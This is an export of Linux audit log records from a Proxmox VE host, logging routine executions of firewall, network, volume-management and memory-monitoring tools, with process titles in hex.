{"@timestamp":1781965545897,"@rawstring":"node=pve type=PATH msg=audit(1781965545.897:66063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.678:63967): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545897,"@rawstring":"node=pve type=PATH msg=audit(1781965545.897:66063): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.678:63966): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545896,"@rawstring":"node=pve type=PATH msg=audit(1781965545.896:66062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071644,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.644:63965): proctitle=\"(udev-worker)\""} {"@timestamp":1781965545896,"@rawstring":"node=pve type=PATH msg=audit(1781965545.896:66062): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.642:63964): proctitle=\"(udev-worker)\""} {"@timestamp":1781965545896,"@rawstring":"node=pve type=PATH msg=audit(1781965545.896:66061): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.640:63963): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F766465765F6964002D6400646D2D36"} {"@timestamp":1781965545891,"@rawstring":"node=pve type=PATH msg=audit(1781965545.891:66060): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.636:63962): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765646F776E007461703837376930"} {"@timestamp":1781965545891,"@rawstring":"node=pve type=PATH msg=audit(1781965545.891:66060): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965071.631:63961): proctitle=2F7573722F7362696E2F646D73657475700073706C69746E616D65002D2D6E616D657072656669786573002D2D6E6F68656164696E6773002D2D726F7773007076652D766D2D2D3837372D2D6469736B2D2D30"} {"@timestamp":1781965545891,"@rawstring":"node=pve type=PATH msg=audit(1781965545.891:66060): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.669:63960): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545879,"@rawstring":"node=pve type=PATH msg=audit(1781965545.879:66059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.668:63959): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545879,"@rawstring":"node=pve type=PATH msg=audit(1781965545.879:66059): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066668,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.668:63958): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545871,"@rawstring":"node=pve type=PATH msg=audit(1781965545.871:66058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.663:63957): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545871,"@rawstring":"node=pve type=PATH msg=audit(1781965545.871:66058): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.663:63956): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545864,"@rawstring":"node=pve type=PATH msg=audit(1781965545.864:66057): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965066.662:63955): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965545864,"@rawstring":"node=pve type=PATH msg=audit(1781965545.864:66057): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.700:63954): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965545849,"@rawstring":"node=pve type=PATH msg=audit(1781965545.849:66056): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.695:63953): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965545849,"@rawstring":"node=pve type=PATH msg=audit(1781965545.849:66056): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.695:63952): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965545837,"@rawstring":"node=pve type=PATH msg=audit(1781965545.837:66055): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.695:63951): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965545837,"@rawstring":"node=pve type=PATH msg=audit(1781965545.837:66055): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.686:63950): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965544748,"@rawstring":"node=pve type=PATH msg=audit(1781965544.748:66054): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.673:63949): proctitle=\"ip6tables-save\""} {"@timestamp":1781965544748,"@rawstring":"node=pve type=PATH msg=audit(1781965544.748:66054): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.660:63948): proctitle=\"iptables-save\""} {"@timestamp":1781965544718,"@rawstring":"node=pve type=PATH msg=audit(1781965544.718:66053): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.643:63947): proctitle=\"ip6tables-save\""} {"@timestamp":1781965544718,"@rawstring":"node=pve type=PATH msg=audit(1781965544.718:66053): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.632:63946): proctitle=\"iptables-save\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PATH msg=audit(1781965543.402:66052): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.629:63945): proctitle=\"ebtables-restore\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PATH msg=audit(1781965543.402:66052): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.626:63944): proctitle=\"ebtables-restore\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PATH msg=audit(1781965543.402:66051): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.619:63943): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PATH msg=audit(1781965543.402:66050): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065609,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.609:63942): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PATH msg=audit(1781965543.395:66049): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065599,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.599:63941): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PATH msg=audit(1781965543.395:66049): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065592,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.592:63940): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PATH msg=audit(1781965543.395:66048): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.582:63939): proctitle=697073657400726573746F7265"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PATH msg=audit(1781965543.395:66047): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065567,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.567:63938): proctitle=\"ip6tables-save\""} {"@timestamp":1781965540548,"@rawstring":"node=pve type=PATH msg=audit(1781965540.548:66046): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.554:63937): proctitle=\"iptables-save\""} {"@timestamp":1781965540548,"@rawstring":"node=pve type=PATH msg=audit(1781965540.548:66046): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.550:63936): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965540546,"@rawstring":"node=pve type=PATH msg=audit(1781965540.546:66045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.543:63935): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965540546,"@rawstring":"node=pve type=PATH msg=audit(1781965540.546:66045): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.542:63934): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965540544,"@rawstring":"node=pve type=PATH msg=audit(1781965540.544:66044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.542:63933): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965540544,"@rawstring":"node=pve type=PATH msg=audit(1781965540.544:66044): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.530:63932): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965538385,"@rawstring":"node=pve type=PATH msg=audit(1781965538.385:66043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065516,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.516:63931): proctitle=\"ip6tables-save\""} {"@timestamp":1781965538385,"@rawstring":"node=pve type=PATH msg=audit(1781965538.385:66043): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.501:63930): proctitle=\"iptables-save\""} {"@timestamp":1781965538385,"@rawstring":"node=pve type=PATH msg=audit(1781965538.385:66042): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.491:63929): proctitle=69707365740073617665"} {"@timestamp":1781965538384,"@rawstring":"node=pve type=PATH msg=audit(1781965538.384:66041): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065476,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.476:63928): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PATH msg=audit(1781965538.374:66040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965065.460:63927): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PATH msg=audit(1781965538.374:66040): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965064.940:63926): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PATH msg=audit(1781965538.374:66039): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965064911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965064.911:63925): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PATH msg=audit(1781965538.374:66038): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.653:63924): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535821,"@rawstring":"node=pve type=PATH msg=audit(1781965535.821:66037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.653:63923): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535821,"@rawstring":"node=pve type=PATH msg=audit(1781965535.821:66037): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061653,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.653:63922): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535803,"@rawstring":"node=pve type=PATH msg=audit(1781965535.803:66036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.646:63921): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535803,"@rawstring":"node=pve type=PATH msg=audit(1781965535.803:66036): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.646:63920): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535800,"@rawstring":"node=pve type=PATH msg=audit(1781965535.800:66035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965061646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965061.646:63919): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535800,"@rawstring":"node=pve type=PATH msg=audit(1781965535.800:66035): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965060.112:63918): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965535800,"@rawstring":"node=pve type=PATH msg=audit(1781965535.800:66034): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965060.112:63917): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965535788,"@rawstring":"node=pve type=PATH msg=audit(1781965535.788:66033): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965060110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965060.110:63916): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965535788,"@rawstring":"node=pve type=PATH msg=audit(1781965535.788:66033): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.639:63915): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535788,"@rawstring":"node=pve type=PATH msg=audit(1781965535.788:66033): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.639:63914): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535774,"@rawstring":"node=pve type=PATH msg=audit(1781965535.774:66032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.639:63913): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535774,"@rawstring":"node=pve type=PATH msg=audit(1781965535.774:66032): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.631:63912): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535752,"@rawstring":"node=pve type=PATH msg=audit(1781965535.752:66031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.631:63911): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535752,"@rawstring":"node=pve type=PATH msg=audit(1781965535.752:66031): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965056629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965056.629:63910): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965535724,"@rawstring":"node=pve type=PATH msg=audit(1781965535.724:66030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055442,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.442:63909): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965535724,"@rawstring":"node=pve type=PATH msg=audit(1781965535.724:66030): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 